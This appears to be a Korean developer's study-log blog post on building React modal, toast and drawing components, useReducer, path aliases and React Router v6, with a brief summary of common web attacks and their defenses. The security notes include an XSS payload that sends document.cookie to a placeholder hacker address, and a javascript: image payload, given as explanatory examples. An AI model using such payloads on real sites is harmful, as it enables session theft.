지금까지 만들었던 컴포넌트와 훅을 사용하면 매우 간단할 것 같다. 어떤 훅과 컴포넌트를 사용할지 예측해보자!
useClickAway
: 모달창 끄는 기능이 필요하다.useToggle
: 어떤 버튼을 눌렀을때 모달창이 나오게 한다.useHotKey
: 핫키를 눌러서 나오게해도 재밌을것 같다 ㅎㅎ강의를 듣고 만들어보자
const Modal = ({
children,
width = 500,
height,
visible = false,
onClose,
...props
}) => {
const ref = useClickAway(() => {
onClose && onClose();
});
const containerStyle = useMemo(
() => ({
width,
height,
}),
[width, height]
);
const el = useMemo(() => document.createElement("div"), []);
useEffect(() => {
document.body.appendChild(el);
return () => {
document.body.removeChild(el);
};
});
return ReactDOM.createPortal(
<BackgroundDim style={{ display: visible ? "block" : "none" }}>
<ModalContainer
ref={ref}
{...props}
style={{ ...props.style, ...containerStyle }}
>
{children}
</ModalContainer>
</BackgroundDim>,
el
);
};
document.body
에 새로운 엘리먼트를 만들어 달아준뒤, createPortal
을 사용하여 이동시켜주었다.(최상단 컴포넌트)
createPortal
을 사용하지 않았을 때.
createPortal
을 사용했을 때.
알림을 띄우는 컴포넌트다. 클래스도 활용한다! 여기까지 구현한다면 리액트에서 구현할 수 있는 기본 컴포넌트는 거의 다 만들었다고 보면된다. 👏👏👏👏
3개의 파일로 나뉜다.
index
: Toast
컴포넌트가 붙을 엘리먼트를 제작, id
도 부여 후 createRoot
하여 최상단 컴포넌트로 만들고 render
을 이용하여 ToastManager
를 붙여준다. 작업들은 모두 construtor
내부에서 진행한다. 알림을 보여주는 메서드는 사실 ToastManager
의 createToast
함수다.ToastManager
: 각 Toast
를 useState
에 담아 보관하고 각 Toast
의 생성, 삭제를 담당한다.ToastItem
: 각 Toast
. useTimeout
을 이용하여 일정 시간이 지나면 사라지게끔.//index.js. 싱글톤 패턴으로 내보내준다.
class Toast {
portal = null;
constructor() {
const portalId = "toast-portal";
const portalElement = document.getElementById(portalId);
if (portalElement) {
this.portal = portalElement;
} else {
this.portal = document.createElement("div");
this.portal.id = portalId;
document.body.appendChild(this.portal);
}
ReactDOM.createRoot(this.portal).render(
<ToastManager
bind={(createToast) => {
this.createToast = createToast;
}}
/>
);
}
show(message, duration = 2000) {
this.createToast(message, duration);
}
}
//ToastManager.js
const ToastManager = ({ bind }) => {
const [toasts, setToasts] = useState([]);
const createToast = useCallback((message, duration) => {
const newToast = {
id: v4(),
message,
duration,
};
setToasts((oldToasts) => [...oldToasts, newToast]);
}, []);
const removeToast = useCallback((id) => {
setToasts((oldToasts) => oldToasts.filter((toast) => toast.id !== id));
}, []);
useEffect(() => {
bind(createToast);
}, [bind, createToast]);
return (
<Container>
{toasts.map(({ id, message, duration }) => (
<ToastItem
message={message}
duration={duration}
key={id}
onDone={() => removeToast(id)}
/>
))}
</Container>
);
};
//ToastItem.js
const ToastItem = ({ message, duration, onDone }) => {
const [show, setShow] = useState(true);
useTimeout(() => {
setShow(false);
setTimeout(() => onDone(), 400);
}, duration);
return (
<Container style={{ opacity: show ? 1 : 0 }}>
<ProgressBar style={{ animationDuration: `${duration}ms` }} />
<Text>{message}</Text>
</Container>
);
};
강의 도중 나왔던 ReactDOM.render
은 v18에서 deprecated되었으므로 최신용법을 사용해야함.
// Before
import { render } from 'react-dom';
const container = document.getElementById('app');
render(<App tab="home" />, container);
// After
import { createRoot } from 'react-dom/client';
const container = document.getElementById('app');
const root = createRoot(container); // createRoot(container!) if you use TypeScript
root.render(<App tab="home" />);
루트에 새로운 엘리먼트를 붙여서 렌더링하는 거구나!
지금까지 배운 내용을 토대로 그림판을 한번 만들어보자! 옛날 아무것도 모르던 시절 리액트로 그림판을 만든적이 있다. 사실 강의보고 따라쳤던게 다인데...ㅎㅎ
코드가 길어서 핵심만 요약해보겠다.
props
를 주입해서 사용하는 컴포넌트 일지라도 내부적으로 상태가 변경된다면 props
를 useState
에 넣어두고 사용한다.useEffect
를 여럿 선언하여 각 의존성 배열에 넣어준다.class
내부 constructor
에서 Object.assign
을 사용하여 this
에 받아온 값을 합쳐줄수도 있다.이거 말고는 이미 사용해봤던 canvas
라 그리 어렵진 않았다.
악의적인 SQL 삽입 기법. SQL에서 특별한 의미를 가지는 문자를 입력칸(로그인폼 등)에 넣어서 의도하지 않은 동작을 일으키게 만듬.
\n, \t, |, --
등 특별한 의미를 가지는 문자를 이스케이프 하고 준비된 선언을 사용하면 된다. 요즘은 라이브러리, 프레임워크에서 기본적으로 막아줌.
페이지에 악성 스크립트를 삽입하여 정보 취득
innerHTML
등 스크립트 태그를 주입하는 DOM API가 이 공격에 취약함.
<script>document.URL='해커주소'+document.cookie</script>
이런식으로 삽입하여 쿠키 탈취 등.
html sanitize등의 라이브러리를 사용하여 위험한 코드가 삽입되는걸 방지할수 있음.
<img src='javascript:alert('해킹')'/>
이렇게 DOM을 해석하는 과정에서 스크립트 주입전형적인 피싱사이트. 피싱사이트에서 로그인폼에 입력한 정보를 토대로 실제사이트에 요청하여 사용자가 구분할수 없게 만듬.
허용한 도메인만 요청하도록 설정, 모든 요청에 토큰을 발급하여 서버에서 검증, CAPTCHA이용 등으로 방어 가능.
시스템 명령에 악의적인 명령어를 삽입함. 쿼리로 보낼수도있음.
가급적 시스템 함수는 사용 X, 민감한 문자 필터링으로 방어.
말 그대로 파일을 업로드하여 공격. 업로드 후 파일 위치(디렉토리)를 찾아 실행(URL 접속)시키면 공격 성공.
확장자, 파일타입 검사. 업로드파일 난수화 저장 및 특문포함 업로드 금지로 방어할 수 있다.
클라이언트 사이드에 JS를 삽입시키는 공격. 개발자도구의 console등을 통해 조작 가능하다!
민감한 정보를 클라에 넣지 말기, 유효성 검사는 클라-서버 둘다 검사.
서비스 분산공격. 비정상적으로 많은 트래픽을 보내는 공격. 제일 단순한데 막기가 어렵다...!
무작위 대입! 사전에 등록된 단어를 성공할때까지 무작위 대입.
해시함수를 이용한 평문을 모두 저장시켜 놓은 표
계정 탈취후 암호의 원문을 알아내기 위해 사용한다.
Salt(평문에 값 더 추가), KeyStreching(해싱값 해싱), PBKDF2나 Bcrypt등의 암호화된 알고리즘 사용
웹 개발자라면 알아야하는 정책들에 대해 알아보자.
개발자가 지정한 프로토콜,도메인, 포트가 아니라면 리소스를 가져올 수 없음. Response Header
를 보고 허용 여부를 브라우저가 정함.
실행 가능한 리소스들의 허용목록을 정함.
허용되지 않은 리소스는 요청 못하게 막는다. XSS방지에 도움 됨.
메타태그 혹은 HTTP 헤더로 설정가능하다.
모르는 부분만 뽑아서 요약
리덕스와 아주 흡사한 리듀서를 이용하여 상태관리를 하겠다는 것. FLUX패턴비슷한 걸 적용하겠다는 의미다.
const [posts, dispatch] = useReducer(reducer, initialPosts || []);
//리듀서
const reducer = (state, action) => {
switch (action.type) {
case "INIT_POSTS": {
return action.payload;
}
case "ADD_POST": {
return [...state, action.payload];
}
case "DELETE_POST": {
const { id } = action.payload;
return state.filter((item) => item.id !== id);
}
default: {
console.error("Wrong type");
break;
}
}
};
//사용할땐
dispatch({ type: "DELETE_POST", payload: result });
사용 방식은 리덕스와 큰 차이점이 없어서 어렵지 않다.
첫번째 인자는 리듀서를 넘겨주고 두번째 인자론 초기 상태를 넘겨준다.
//components/index.js
export { default as Header } from "./base/Header";
export { default as Spinner } from "./base/Spinner";
export { default as Text } from "./base/Text";\
이런식으로 내보내면 다른 파일에서 사용할땐 index.js
를 생략해도 되기에
import { Header, Spinner } from './componets'
이렇게 사용할수도 있다. 또한 폴더구조가 복잡해지면 상대경로가 너무 많아지니까 경로별칭또한 사용하면 좋다. craco
를 이용하여 CRA의 웹팩셋팅을 덮어씌운다.
//craco.config.js
...
webpack: {
alias: {
"@components": path.resolve(__dirname, "src/components"),
},
},
이렇게 두고 사용하면 @components
경로로 컴포넌트들을 잘 가져올수 있음ㅎㅎ
사용자가 요청하면 html파일을 뿌려준다. 즉, MPA는 디렉토리마다 페이지 뿌려줌. 서버가 html스트링 뿌려주는거. JS역할 크지않음.
이후 JS의 입지가 커져서 ajax등장. 비동기통신 기술. 이를 잘 활용한 것이 구글지도. 페이지이동없이 보여줌.
=> 동적으로 HTML문서 가져오기.
주소.com/index.html#hash << url Fragment라고부름. 이를 이용하여 페이지이동 없앰. But, 검색엔진에 잡히지않음
HTML5 HistoryAPI가 나와서 검색엔진에도 잡히게 됨
리액트에서 페이지 라우팅을 도와주는 라이브러리. 최근엔 V6를 사용하지만, 강의는 V5다. 이 점에 유의하여 V6로 코드를 작성해보았다.
//index.js
<BrowserRouter>
<App />
</BrowserRouter>
이렇게 최상단에 설정해주어야 SPA로 동작함. 라우터 컴포넌트로 감싼다.
<Routes>
<Route path="/" element={<h1>홈</h1>} />
<Route path="/posts" element={<PostListPage />} />
<Route path="/posts/:id" element={<PostPage />} />
<Route path="*" element={<NotFoundPage />} />
</Routes>
사용할땐 이렇게. 컴포넌트를 넘겨도 되고, JSX를 넘겨도 된다.
경로를 적을땐 vue-router와 크게 다르지않아서 이해완료!
import React from 'react
를 하지않으면 <></>
프래그먼트 문법을 사용할수 없었다. 왜인지 너무 궁금함. 다른 JSX문법은 그냥 쓰면서!
미지의 영역으로 남았다...이것도 한번 여쭤볼까? 궁금한점을 모아서 한번에 질문드려야겠다.
웹 보안은 한번 공부해봐야겠다 느꼈었는데 가볍게라도 다뤄주셔서 좋앗다. 그리고 지금까지 만든 컴포넌트를 조합해서 하나하나 쌓아올리는맛이 있음.
그리고 클래스에대한 인상도 바뀌었다. 함수컴포넌트에서는 전혀 쓰지 않을 것 같았는데, 잘 사용하는 듯 하다. 결국 기술은 적재적소에 쓰이는거다. 여긴 안쓰고 저긴 쓰고 이런게 없다.